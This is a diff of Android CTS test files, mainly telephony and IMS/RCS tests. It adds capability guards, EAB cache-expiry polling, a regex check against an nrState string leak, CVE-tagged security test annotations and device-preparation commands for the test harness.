+        final NetworkRegistrationInfo nri = new NetworkRegistrationInfo.Builder()
+                .setTransportType(AccessNetworkConstants.TRANSPORT_TYPE_WWAN)
+                .setDomain(NetworkRegistrationInfo.DOMAIN_PS)
+                .build();
+        nri.setNrState(NetworkRegistrationInfo.NR_STATE_RESTRICTED);
+
+        final ServiceState ss = new ServiceState();
+        ss.addNetworkRegistrationInfo(nri);
+        String sss = ss.toString();
+
+        // The string leaked in previous releases is "nrState=<val>"; test that there is
+        // no matching or highly similar string leak, such as:
+        // nrState=NONE
+        // nrState=0
+        // mNrState=RESTRICTED
+        // NRSTATE=NOT_RESTRICTED
+        // nrState = CONNECTED
+        // etc.
+        Pattern p = Pattern.compile("nrState\\s*=\\s*[a-zA-Z0-9_]+", Pattern.CASE_INSENSITIVE);
+        Matcher m = p.matcher(sss);
+        // Need to use if (find) fail to ensure that the start and end are populated
+        if (m.find()) fail("Found nrState reported as: " + sss.substring(m.start(), m.end()));
     }
 
     @Test
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
index 01946e0..11e5979 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
@@ -1001,6 +1001,10 @@
 
     @Test
     public void testGetPhoneAccountHandle() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            Log.d(TAG, "Skipping test that requires FEATURE_TELEPHONY");
+            return;
+        }
         TelecomManager telecomManager = getContext().getSystemService(TelecomManager.class);
         PhoneAccountHandle defaultAccount = telecomManager
                 .getDefaultOutgoingPhoneAccount(PhoneAccount.SCHEME_TEL);
@@ -3555,6 +3559,13 @@
     }
 
     private void disableNrDualConnectivity() {
+        if (!ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, (tm) -> tm.isRadioInterfaceCapabilitySupported(
+                        TelephonyManager
+                                .CAPABILITY_NR_DUAL_CONNECTIVITY_CONFIGURATION_AVAILABLE))) {
+            return;
+        }
+
         ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
                 mTelephonyManager,
                 (tm) -> tm.setNrDualConnectivityState(
@@ -3575,6 +3586,13 @@
             return;
         }
 
+        if (!ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, (tm) -> tm.isRadioInterfaceCapabilitySupported(
+                        TelephonyManager
+                                .CAPABILITY_NR_DUAL_CONNECTIVITY_CONFIGURATION_AVAILABLE))) {
+            return;
+        }
+
         boolean isInitiallyEnabled = ShellIdentityUtils.invokeMethodWithShellPermissions(
                 mTelephonyManager, (tm) -> tm.isNrDualConnectivityEnabled());
         boolean isNrDualConnectivityEnabled;
@@ -4597,6 +4615,7 @@
 
     @Test
     public void testCheckCarrierPrivilegesForPackageThrowsExceptionWithoutReadPrivilege() {
+        if (!hasCellular()) return;
         try {
             mTelephonyManager.checkCarrierPrivilegesForPackage(mSelfPackageName);
             fail("TelephonyManager#checkCarrierPrivilegesForPackage must be protected "
@@ -4635,6 +4654,7 @@
 
     @Test
     public void testGetCarrierPackageNamesForIntentAndPhoneThrowsExceptionWithoutReadPrivilege() {
+        if (!hasCellular()) return;
         try {
             Intent intent = new Intent();
             int phoneId = 1;
@@ -4666,6 +4686,7 @@
 
     @Test
     public void testGetPackagesWithCarrierPrivilegesThrowsExceptionWithoutReadPrivilege() {
+        if (!hasCellular()) return;
         try {
             mTelephonyManager.getPackagesWithCarrierPrivileges();
             fail("TelephonyManager#getPackagesWithCarrierPrivileges must be protected "
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/EabControllerTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/EabControllerTest.java
index 83edcba..ba74fc9 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/EabControllerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/EabControllerTest.java
@@ -26,6 +26,7 @@
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
+import android.app.UiAutomation;
 import android.content.BroadcastReceiver;
 import android.content.Context;
 import android.content.Intent;
@@ -35,8 +36,11 @@
 import android.telecom.PhoneAccount;
 import android.telephony.CarrierConfigManager;
 import android.telephony.SubscriptionManager;
+import android.telephony.TelephonyManager;
+import android.telephony.cts.TelephonyUtils;
 import android.telephony.ims.ImsException;
 import android.telephony.ims.ImsManager;
+import android.telephony.ims.ProvisioningManager;
 import android.telephony.ims.RcsContactPresenceTuple;
 import android.telephony.ims.RcsContactUceCapability;
 import android.telephony.ims.RcsUceAdapter;
@@ -47,6 +51,9 @@
 import androidx.test.platform.app.InstrumentationRegistry;
 
 import com.android.compatibility.common.util.ShellIdentityUtils;
+import com.android.i18n.phonenumbers.NumberParseException;
+import com.android.i18n.phonenumbers.PhoneNumberUtil;
+import com.android.i18n.phonenumbers.Phonenumber;
 
 import org.junit.After;
 import org.junit.AfterClass;
@@ -55,8 +62,8 @@
 import org.junit.Test;
 
 import java.text.SimpleDateFormat;
+import java.time.Instant;
 import java.util.ArrayList;
-import java.util.Calendar;
 import java.util.GregorianCalendar;
 import java.util.List;
 import java.util.Random;
@@ -68,6 +75,8 @@
 public class EabControllerTest {
 
     private static final String TAG = "EabControllerTest";
+    private static final String COMMAND_BASE = "cmd phone ";
+    private static final String COMMAND_GET_EAB_CONTACT = "uce get-eab-capability ";
 
     private static int sTestSlot = SubscriptionManager.INVALID_SIM_SLOT_INDEX;
     private static int sTestSub = SubscriptionManager.INVALID_SUBSCRIPTION_ID;
@@ -78,6 +87,9 @@
     private static boolean sDeviceUceEnabled;
 
     private static final String TEST_SERVICE_DESCRIPTION = "description_test1";
+    private static final int EXPIRATION_TIME_IN_SEC = 1;
+    private static final int WAITING_IN_MILLI_SEC = 1000;
+    private static final int POLLING_RETRY_TIMES = 3;
 
     BlockingQueue<Long> mErrorQueue = new LinkedBlockingQueue<>();
     BlockingQueue<Boolean> mCompleteQueue = new LinkedBlockingQueue<>();
@@ -223,8 +235,7 @@
                 false,
                 true,
                 DUPLEX_MODE_RECEIVE_ONLY,
-                DUPLEX_MODE_SEND_ONLY,
-                false));
+                DUPLEX_MODE_SEND_ONLY));
         // Request capabilities for saving capability to EAB provider
         requestCapabilities(contacts);
         mErrorQueue.clear();
@@ -262,8 +273,7 @@
                 false,
                 true,
                 DUPLEX_MODE_RECEIVE_ONLY,
-                DUPLEX_MODE_SEND_ONLY,
-                false));
+                DUPLEX_MODE_SEND_ONLY));
         // Request capabilities for saving capability to EAB provider
         requestAvailability(sTestNumberUri);
         mErrorQueue.clear();
@@ -294,6 +304,11 @@
         if (!ImsUtils.shouldTestImsService()) {
             return;
         }
+
+        // Set capabilities expiration time
+        setProvisioningIntValue(ProvisioningManager.KEY_RCS_CAPABILITIES_CACHE_EXPIRATION_SEC,
+                EXPIRATION_TIME_IN_SEC);
+
         ArrayList<Uri> contacts = new ArrayList<>(1);
         contacts.add(sTestNumberUri);
         fakeNetworkResult(getPidfXmlData(
@@ -303,14 +318,15 @@
                 false,
                 true,
                 DUPLEX_MODE_RECEIVE_ONLY,
-                DUPLEX_MODE_SEND_ONLY,
-                true));
+                DUPLEX_MODE_SEND_ONLY));
         // Request capabilities for saving expired capability to EAB provider
         requestCapabilities(contacts);
         mErrorQueue.clear();
         mCompleteQueue.clear();
         mCapabilityQueue.clear();
 
+        waitingEabCapabilityExpire();
+
         // Request capabilities again
         RcsContactUceCapability capability = requestCapabilities(contacts);
 
@@ -335,6 +351,11 @@
         if (!ImsUtils.shouldTestImsService()) {
             return;
         }
+
+        // Set availability expiration time
+        setProvisioningIntValue(ProvisioningManager.KEY_RCS_AVAILABILITY_CACHE_EXPIRATION_SEC,
+                EXPIRATION_TIME_IN_SEC);
+
         fakeNetworkResult(getPidfXmlData(
                 sTestNumberUri,
                 TEST_SERVICE_DESCRIPTION,
@@ -342,14 +363,16 @@
                 true,
                 false,
                 DUPLEX_MODE_RECEIVE_ONLY,
-                DUPLEX_MODE_SEND_ONLY,
-                true));
+                DUPLEX_MODE_SEND_ONLY));
         // Request availabilities for saving availabilities to EAB provider
         requestAvailability(sTestNumberUri);
         mErrorQueue.clear();
         mCompleteQueue.clear();
         mCapabilityQueue.clear();
 
+        // Waiting availabilities expire
+        waitingEabCapabilityExpire();
+
         // Request availabilities again
         RcsContactUceCapability capability = requestAvailability(sTestNumberUri);
 
@@ -451,14 +474,8 @@
             boolean audioSupported,
             boolean videoSupported,
             String supportedDuplexMode,
-            String unSupportedDuplexMode,
-            boolean isExpired) {
+            String unSupportedDuplexMode) {
         GregorianCalendar date = new GregorianCalendar();
-        if (isExpired) {
-            date.add(Calendar.DATE, -120);
-        } else {
-            date.add(Calendar.DATE, 120);
-        }
         String timeStamp = new SimpleDateFormat("yyyy-MM-dd'T'HH:mm:ssXXX")
                 .format(date.getTime());
 
@@ -575,6 +592,7 @@
     private static void connectTestImsService() throws Exception {
         assertTrue(sServiceConnector.connectCarrierImsService(new ImsFeatureConfiguration.Builder()
                 .addFeature(sTestSlot, ImsFeature.FEATURE_RCS)
+                .addFeature(sTestSlot, ImsFeature.FEATURE_MMTEL)
                 .build()));
 
         // The RcsFeature is created when the ImsService is bound. If it wasn't created, then the
@@ -611,4 +629,53 @@
             Log.w("RcsUceAdapterTest", "Cannot remove test contacts from eab database: " + e);
         }
     }
+
+    private static String formatNumber(Context context, String number) {
+        TelephonyManager manager = context.getSystemService(TelephonyManager.class);
+        String simCountryIso = manager.getSimCountryIso();
+        if (simCountryIso != null) {
+            simCountryIso = simCountryIso.toUpperCase();
+            PhoneNumberUtil util = PhoneNumberUtil.getInstance();
+            try {
+                Phonenumber.PhoneNumber phoneNumber = util.parse(number, simCountryIso);
+                return util.format(phoneNumber, PhoneNumberUtil.PhoneNumberFormat.E164);
+            } catch (NumberParseException e) {
+                Log.w(TAG, "formatNumber: could not format " + number + ", error: " + e);
+            }
+        }
+        return number;
+    }
+
+    private String getEabCapabilities(String phoneNum) throws Exception {
+        StringBuilder cmdBuilder = new StringBuilder();
+        cmdBuilder.append(COMMAND_BASE).append(COMMAND_GET_EAB_CONTACT)
+                .append(" ").append(phoneNum);
+        return TelephonyUtils.executeShellCommand(InstrumentationRegistry.getInstrumentation(),
+                cmdBuilder.toString());
+    }
+
+    private void setProvisioningIntValue(int key, int value) {
+        final UiAutomation automan = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            automan.adoptShellPermissionIdentity();
+            ProvisioningManager provisioningManager =
+                    ProvisioningManager.createForSubscriptionId(sTestSub);
+            provisioningManager.setProvisioningIntValue(key, value);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+    }
+
+    private void waitingEabCapabilityExpire() throws Exception {
+        int retryTimes = POLLING_RETRY_TIMES;
+        long expirationTime;
+        do {
+            String capabilities = getEabCapabilities(formatNumber(getContext(), sTestPhoneNumber));
+            String[] capabilityInfo = capabilities.split(",");
+            assertTrue(capabilityInfo.length > 4);
+            Thread.sleep(WAITING_IN_MILLI_SEC);
+            expirationTime = Long.parseLong(capabilityInfo[2]);
+            retryTimes--;
+        } while (retryTimes > 0 && Instant.now().getEpochSecond() < expirationTime);
+    }
 }
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsMmTelManagerTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsMmTelManagerTest.java
index c707d0e..e7a6286 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsMmTelManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsMmTelManagerTest.java
@@ -557,6 +557,9 @@
             assertNotNull(resultQueue.poll(ImsUtils.TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS));
         } catch (SecurityException e) {
             fail("isSupported requires READ_PRIVILEGED_PHONE_STATE permission.");
+        } catch (ImsException ignore) {
+            // We are only testing method permissions here, so the actual ImsException does not
+            // matter, since it shows that the permission check passed.
         }
         try {
             LinkedBlockingQueue<Integer> resultQueue = new LinkedBlockingQueue<>(1);
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/RcsContactUceCapabilityTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/RcsContactUceCapabilityTest.java
index 4fcc85b..cf1b2fe 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/RcsContactUceCapabilityTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/RcsContactUceCapabilityTest.java
@@ -182,12 +182,12 @@
         featureTags.add(FEATURE_TAG_CHAT_SESSION);
         featureTags.add(FEATURE_TAG_FILE_TRANSFER);
 
+        // Create an OptionsBuilder instance through the constructor OptionsBuilder(Uri, int)
         OptionsBuilder optionsBuilder = new OptionsBuilder(TEST_CONTACT,
                 RcsContactUceCapability.SOURCE_TYPE_CACHED);
         optionsBuilder.addFeatureTags(featureTags);
         optionsBuilder.addFeatureTag(FEATURE_TAG_POST_CALL);
         optionsBuilder.setRequestResult(RcsContactUceCapability.REQUEST_RESULT_FOUND);
-
         RcsContactUceCapability testCapability = optionsBuilder.build();
 
         // parcel and unparcel
@@ -198,17 +198,38 @@
                 RcsContactUceCapability.CREATOR.createFromParcel(infoParceled);
         infoParceled.recycle();
 
-        assertEquals(unparceledCapability.getContactUri(), testCapability.getContactUri());
-        assertEquals(unparceledCapability.getSourceType(), testCapability.getSourceType());
-        assertEquals(unparceledCapability.getRequestResult(), testCapability.getRequestResult());
-        assertEquals(unparceledCapability.getCapabilityMechanism(),
-                testCapability.getCapabilityMechanism());
+        // Verify the unparceled capability
+        verifyUnparceledCapability(testCapability, unparceledCapability);
 
-        Set<String> expectedFeatureTags = new HashSet<>(featureTags);
-        expectedFeatureTags.add(FEATURE_TAG_POST_CALL);
+        // Create an OptionsBuilder instance through the constructor OptionsBuilder(Uri)
+        optionsBuilder = new OptionsBuilder(TEST_CONTACT);
+        optionsBuilder.addFeatureTags(featureTags);
+        optionsBuilder.addFeatureTag(FEATURE_TAG_POST_CALL);
+        optionsBuilder.setRequestResult(RcsContactUceCapability.REQUEST_RESULT_FOUND);
+        testCapability = optionsBuilder.build();
 
+        // parcel and unparcel
+        infoParceled = Parcel.obtain();
+        testCapability.writeToParcel(infoParceled, 0);
+        infoParceled.setDataPosition(0);
+        unparceledCapability = RcsContactUceCapability.CREATOR.createFromParcel(infoParceled);
+        infoParceled.recycle();
+
+        // Verify the unparceled capability
+        verifyUnparceledCapability(testCapability, unparceledCapability);
+    }
+
+    private void verifyUnparceledCapability(RcsContactUceCapability expectedCap,
+            RcsContactUceCapability unparceledCapability) {
+        assertEquals(expectedCap.getContactUri(), unparceledCapability.getContactUri());
+        assertEquals(expectedCap.getSourceType(), unparceledCapability.getSourceType());
+        assertEquals(expectedCap.getRequestResult(), unparceledCapability.getRequestResult());
+        assertEquals(expectedCap.getCapabilityMechanism(),
+                unparceledCapability.getCapabilityMechanism());
+
+        Set<String> expectedFeatureTags = expectedCap.getFeatureTags();
         Set<String> unparceledFeatureTags = unparceledCapability.getFeatureTags();
-        assertEquals(unparceledFeatureTags.size(), expectedFeatureTags.size());
+        assertEquals(expectedFeatureTags.size(), unparceledFeatureTags.size());
         Iterator<String> expectedFeatureTag = expectedFeatureTags.iterator();
         while (expectedFeatureTag.hasNext()) {
             assertTrue(unparceledFeatureTags.contains(expectedFeatureTag.next()));
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/RcsUceAdapterTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/RcsUceAdapterTest.java
index 2cd3409..f142758 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/RcsUceAdapterTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/RcsUceAdapterTest.java
@@ -919,6 +919,11 @@
         // Remove the test contact capabilities
         removeTestContactFromEab();
 
+        // Override the carrier config to support group subscribe.
+        PersistableBundle bundle = new PersistableBundle();
+        bundle.putBoolean(CarrierConfigManager.Ims.KEY_ENABLE_PRESENCE_GROUP_SUBSCRIBE_BOOL, true);
+        overrideCarrierConfig(bundle);
+
         // Connect to the ImsService
         setupTestImsService(uceAdapter, true, true /* presence cap */, false /* OPTIONS */);
 
@@ -2346,6 +2351,11 @@
         // Remove the test contact capabilities
         removeTestContactFromEab();
 
+        // Override the carrier config to support group subscribe.
+        PersistableBundle bundle = new PersistableBundle();
+        bundle.putBoolean(CarrierConfigManager.Ims.KEY_ENABLE_PRESENCE_GROUP_SUBSCRIBE_BOOL, true);
+        overrideCarrierConfig(bundle);
+
         // Connect to the ImsService
         setupTestImsService(uceAdapter, true, true /* presence cap */, false /* OPTIONS */);
 
diff --git a/tests/tests/telephony2/src/android/telephony2/cts/CallStateListenerPermissionTest.java b/tests/tests/telephony2/src/android/telephony2/cts/CallStateListenerPermissionTest.java
index 8a930ce..b580930 100644
--- a/tests/tests/telephony2/src/android/telephony2/cts/CallStateListenerPermissionTest.java
+++ b/tests/tests/telephony2/src/android/telephony2/cts/CallStateListenerPermissionTest.java
@@ -124,25 +124,6 @@
             } catch (SecurityException e) {
                 // Expected
             }
-
-            TelephonyUtils.disableCompatCommand(InstrumentationRegistry.getInstrumentation(),
-                    TelephonyUtils.CTS_APP_PACKAGE2,
-                    TelephonyUtils.ENABLE_GET_CALL_STATE_PERMISSION_PROTECTION_STRING);
-            try {
-                telephonyManager.registerTelephonyCallback(mSimpleExecutor, callback);
-            } catch (SecurityException e) {
-                fail("TelephonyCallback.CallStateListener must not require READ_PHONE_STATE when "
-                        + "TelecomManager#ENABLE_GET_CALL_STATE_PERMISSION_PROTECTION is "
-                        + "disabled.");
-            }
-            try {
-                telephonyManager.listen(new PhoneStateListener(Runnable::run),
-                        PhoneStateListener.LISTEN_CALL_STATE);
-            } catch (SecurityException e) {
-                fail("PhoneStateListener#onCallStateChanged must not require READ_PHONE_STATE when "
-                        + "TelecomManager#ENABLE_GET_CALL_STATE_PERMISSION_PROTECTION is "
-                        + "disabled.");
-            }
         } finally {
             TelephonyUtils.resetCompatCommand(InstrumentationRegistry.getInstrumentation(),
                     TelephonyUtils.CTS_APP_PACKAGE2,
diff --git a/tests/tests/telephony2/src/android/telephony2/cts/TelephonyManagerNoPermissionTest.java b/tests/tests/telephony2/src/android/telephony2/cts/TelephonyManagerNoPermissionTest.java
index a42143c..e645537 100644
--- a/tests/tests/telephony2/src/android/telephony2/cts/TelephonyManagerNoPermissionTest.java
+++ b/tests/tests/telephony2/src/android/telephony2/cts/TelephonyManagerNoPermissionTest.java
@@ -68,16 +68,6 @@
         } catch (SecurityException e) {
             // expected
         }
-        TelephonyUtils.disableCompatCommand(InstrumentationRegistry.getInstrumentation(),
-                TelephonyUtils.CTS_APP_PACKAGE2,
-                TelephonyUtils.ENABLE_GET_CALL_STATE_PERMISSION_PROTECTION_STRING);
-        try {
-            mTelephonyManager.getCallState();
-        } catch (SecurityException e) {
-            fail("TelephonyManager#getCallState must not require READ_PHONE_STATE if "
-                    + "TelecomManager#ENABLE_GET_CALL_STATE_PERMISSION_PROTECTION is "
-                    + "disabled.");
-        }
     }
 
     @Test
@@ -97,16 +87,5 @@
         } catch (SecurityException e) {
             // expected
         }
-        TelephonyUtils.disableCompatCommand(InstrumentationRegistry.getInstrumentation(),
-                TelephonyUtils.CTS_APP_PACKAGE2,
-                TelephonyUtils.ENABLE_GET_CALL_STATE_PERMISSION_PROTECTION_STRING);
-        try {
-            mTelephonyManager.getCallStateForSubscription();
-        } catch (SecurityException e) {
-            fail("TelephonyManager#getCallStateForSubscription must not require "
-                    + "READ_PHONE_STATE if "
-                    + "TelecomManager#ENABLE_GET_CALL_STATE_PERMISSION_PROTECTION is "
-                    + "disabled.");
-        }
     }
 }
diff --git a/tests/tests/telephony3/src/android/telephony3/cts/TelephonyManagerTest.java b/tests/tests/telephony3/src/android/telephony3/cts/TelephonyManagerTest.java
index b1f4a52..c57ed64 100644
--- a/tests/tests/telephony3/src/android/telephony3/cts/TelephonyManagerTest.java
+++ b/tests/tests/telephony3/src/android/telephony3/cts/TelephonyManagerTest.java
@@ -23,7 +23,7 @@
 import android.content.Context;
 import android.content.pm.PackageManager;
 import android.os.Build;
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import android.telephony.SubscriptionInfo;
 import android.telephony.SubscriptionManager;
 import android.telephony.TelephonyManager;
@@ -53,7 +53,7 @@
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2021-04")
+    @AsbSecurityTest(cveBugId = 173421434)
     public void testDeviceIdentifiersAreNotAccessible() throws Exception {
         // Apps with the READ_PHONE_STATE permission should no longer have access to device
         // identifiers. If an app's target SDK is less than Q and it has been granted the
diff --git a/tests/tests/text/src/android/text/cts/StaticLayoutTest.java b/tests/tests/text/src/android/text/cts/StaticLayoutTest.java
index 12a4271..456ca78 100644
--- a/tests/tests/text/src/android/text/cts/StaticLayoutTest.java
+++ b/tests/tests/text/src/android/text/cts/StaticLayoutTest.java
@@ -33,7 +33,7 @@
 import android.graphics.Paint.FontMetricsInt;
 import android.graphics.Typeface;
 import android.os.LocaleList;
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import android.text.Editable;
 import android.text.Layout;
 import android.text.Layout.Alignment;
@@ -1684,8 +1684,8 @@
     }
 
     // This is for b/140755449
-    @SecurityTest
     @Test
+    @AsbSecurityTest(cveBugId = 140632678)
     public void testBidiVisibleEnd() {
         TextPaint paint = new TextPaint();
         // The default text size is too small and not useful for handling line breaks.
diff --git a/tests/tests/text/src/android/text/cts/TextPaintTest.java b/tests/tests/text/src/android/text/cts/TextPaintTest.java
index 8d3ed45..a90935b 100644
--- a/tests/tests/text/src/android/text/cts/TextPaintTest.java
+++ b/tests/tests/text/src/android/text/cts/TextPaintTest.java
@@ -33,7 +33,7 @@
         TextPaint textPaint;
 
         textPaint = new TextPaint();
-        assertEquals(DEFAULT_PAINT_FLAGS | TextPaint.ANTI_ALIAS_FLAG | TextPaint.DITHER_FLAG,
+        assertEquals(DEFAULT_PAINT_FLAGS | TextPaint.ANTI_ALIAS_FLAG,
                 textPaint.getFlags());
 
         textPaint = new TextPaint(TextPaint.DITHER_FLAG);
diff --git a/tests/tests/text/src/android/text/util/cts/LinkifyTest.java b/tests/tests/text/src/android/text/util/cts/LinkifyTest.java
index 56b9c6e..c30f9ca 100644
--- a/tests/tests/text/src/android/text/util/cts/LinkifyTest.java
+++ b/tests/tests/text/src/android/text/util/cts/LinkifyTest.java
@@ -23,7 +23,7 @@
 import static org.junit.Assert.assertTrue;
 
 import android.content.Context;
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import android.telephony.TelephonyManager;
 import android.text.Spannable;
 import android.text.SpannableString;
@@ -985,8 +985,8 @@
                 domain.length(), email);
     }
 
-    @SecurityTest(minPatchLevel = "2019-03")
     @Test
+    @AsbSecurityTest(cveBugId = 116321860)
     public void testAddLinks_unsupportedCharacters() {
         String url = "moc.diordna.com";
         verifyAddLinksWithWebUrlSucceeds(url + " should be linkified", url);
diff --git a/tests/tests/textclassifier/AndroidTest.xml b/tests/tests/textclassifier/AndroidTest.xml
index f7e25ff..ca4349d 100644
--- a/tests/tests/textclassifier/AndroidTest.xml
+++ b/tests/tests/textclassifier/AndroidTest.xml
@@ -35,4 +35,14 @@
         <option name="mainline-module-package-name" value="com.google.android.extservices" />
     </object>
 
+    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+        <!-- Unlock screen -->
+        <option name="run-command" value="input keyevent KEYCODE_WAKEUP" />
+        <!-- Dismiss keyguard, in case it's set as "Swipe to unlock" -->
+        <option name="run-command" value="wm dismiss-keyguard" />
+        <!-- Collapse notifications -->
+        <option name="run-command" value="cmd statusbar collapse" />
+        <!-- dismiss all system dialogs before launch test -->
+        <option name="run-command" value="am broadcast -a android.intent.action.CLOSE_SYSTEM_DIALOGS" />
+    </target_preparer>
 </configuration>
diff --git a/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassifierTestWatcher.java b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassifierTestWatcher.java
index ec7a89c..28d14ad 100644
--- a/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassifierTestWatcher.java
+++ b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassifierTestWatcher.java
@@ -17,6 +17,8 @@
 
 import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
 
+import android.content.Context;
+import android.provider.DeviceConfig;
 import android.support.test.uiautomator.UiDevice;
 import android.text.TextUtils;
 import android.util.Log;
@@ -24,7 +26,9 @@
 import androidx.annotation.NonNull;
 import androidx.annotation.Nullable;
 import androidx.test.InstrumentationRegistry;
+import androidx.test.core.app.ApplicationProvider;
 
+import com.android.compatibility.common.util.DeviceConfigStateManager;
 import com.android.compatibility.common.util.SafeCleanerRule;
 
 import org.junit.rules.TestWatcher;
@@ -46,6 +50,7 @@
     // TODO: Use default value defined in TextClassificationConstants when TestApi is ready
     private static final String DEFAULT_TEXT_CLASSIFIER_SERVICE_PACKAGE_OVERRIDE = null;
     private static final boolean SYSTEM_TEXT_CLASSIFIER_ENABLED_DEFAULT = true;
+    private static final String DEVICECONFIG_NAME_SPACE = "textclassifier";
 
     private String mOriginalOverrideService;
     private boolean mOriginalSystemTextClassifierEnabled;
@@ -57,13 +62,12 @@
     @Override
     protected void starting(Description description) {
         super.starting(description);
-        prepareDevice();
         // get original settings
         mOriginalOverrideService = getOriginalOverrideService();
         mOriginalSystemTextClassifierEnabled = isSystemTextClassifierEnabled();
 
         // set system TextClassifier enabled
-        runShellCommand("device_config put textclassifier system_textclassifier_enabled true");
+        setAndAssertSystemTextclassifierEnabledSetIfNeeded(true);
 
         setService();
     }
@@ -72,8 +76,7 @@
     protected void finished(Description description) {
         super.finished(description);
         // restore original settings
-        runShellCommand("device_config put textclassifier system_textclassifier_enabled "
-                + mOriginalSystemTextClassifierEnabled);
+        setAndAssertSystemTextclassifierEnabledSetIfNeeded(mOriginalSystemTextClassifierEnabled);
         // restore service and make sure service disconnected.
         // clear the static values.
         try {
@@ -128,15 +131,6 @@
         clearServiceWatcher();
     }
 
-    private void prepareDevice() {
-        Log.v(TAG, "prepareDevice()");
-        // Unlock screen.
-        runShellCommand("input keyevent KEYCODE_WAKEUP");
-
-        // Dismiss keyguard, in case it's set as "Swipe to unlock".
-        runShellCommand("wm dismiss-keyguard");
-    }
-
     @Nullable
     private String getOriginalOverrideService() {
         final String deviceConfigSetting = runShellCommand(
@@ -159,8 +153,8 @@
     private void setService() {
         setServiceWatcher();
         // set the test service
-        runShellCommand("device_config put textclassifier textclassifier_service_package_override "
-                + CtsTextClassifierService.MY_PACKAGE);
+        setAndAssertServicePackageOverrideSetIfNeeded(CtsTextClassifierService.MY_PACKAGE);
+
         // Wait for the current bound TCS to be unbounded.
         try {
             Thread.sleep(1_000);
@@ -171,9 +165,29 @@
 
     private void resetOriginalService() {
         Log.d(TAG, "reset to " + mOriginalOverrideService);
-        runShellCommand(
-                "device_config put textclassifier textclassifier_service_package_override "
-                        + mOriginalOverrideService);
+        setAndAssertServicePackageOverrideSetIfNeeded(mOriginalOverrideService);
+    }
+
+    private void setAndAssertSystemTextclassifierEnabledSetIfNeeded(boolean value) {
+        boolean currentValue = isSystemTextClassifierEnabled();
+        if (currentValue != value) {
+            final Context context = ApplicationProvider.getApplicationContext();
+            DeviceConfigStateManager stateManager =
+                    new DeviceConfigStateManager(context, DEVICECONFIG_NAME_SPACE,
+                            "system_textclassifier_enabled");
+            stateManager.set(Boolean.toString(value));
+        }
+    }
+
+    private void setAndAssertServicePackageOverrideSetIfNeeded(String value) {
+        String currentValue = getOriginalOverrideService();
+        if (!TextUtils.equals(currentValue, value)) {
+            final Context context = ApplicationProvider.getApplicationContext();
+            DeviceConfigStateManager stateManager =
+                    new DeviceConfigStateManager(context, DEVICECONFIG_NAME_SPACE,
+                            "textclassifier_service_package_override");
+            stateManager.set(value);
+        }
     }
 
     private void resetService() throws InterruptedException {
diff --git a/tests/tests/tv/AndroidManifest.xml b/tests/tests/tv/AndroidManifest.xml
index b7c10c4..196b5c7 100644
--- a/tests/tests/tv/AndroidManifest.xml
+++ b/tests/tests/tv/AndroidManifest.xml
@@ -21,9 +21,6 @@
     <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
     <uses-permission android:name="android.permission.INJECT_EVENTS"/>
 
-    <uses-permission android:name="com.android.providers.tv.permission.ACCESS_WATCHED_PROGRAMS"/>
-    <uses-permission android:name="com.android.providers.tv.permission.WRITE_EPG_DATA"/>
-
     <queries>
         <package android:name="com.android.providers.tv"/>
     </queries>
diff --git a/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java b/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java
index 055b75d..4938737 100644
--- a/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java
+++ b/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java
@@ -37,6 +37,8 @@
 import android.test.MoreAsserts;
 import android.tv.cts.R;
 
+import androidx.test.InstrumentationRegistry;
+
 import java.io.InputStream;
 import java.io.OutputStream;
 import java.util.Arrays;
@@ -113,6 +115,11 @@
     private static final String[] NON_EXISTING_COLUMN_NAMES =
             {"non_existing_column", "another non-existing column --"};
 
+    private static final String PERMISSION_ACCESS_WATCHED_PROGRAMS =
+            "com.android.providers.tv.permission.ACCESS_WATCHED_PROGRAMS";
+    private static final String PERMISSION_WRITE_EPG_DATA =
+            "com.android.providers.tv.permission.WRITE_EPG_DATA";
+
     private String mInputId;
     private ContentResolver mContentResolver;
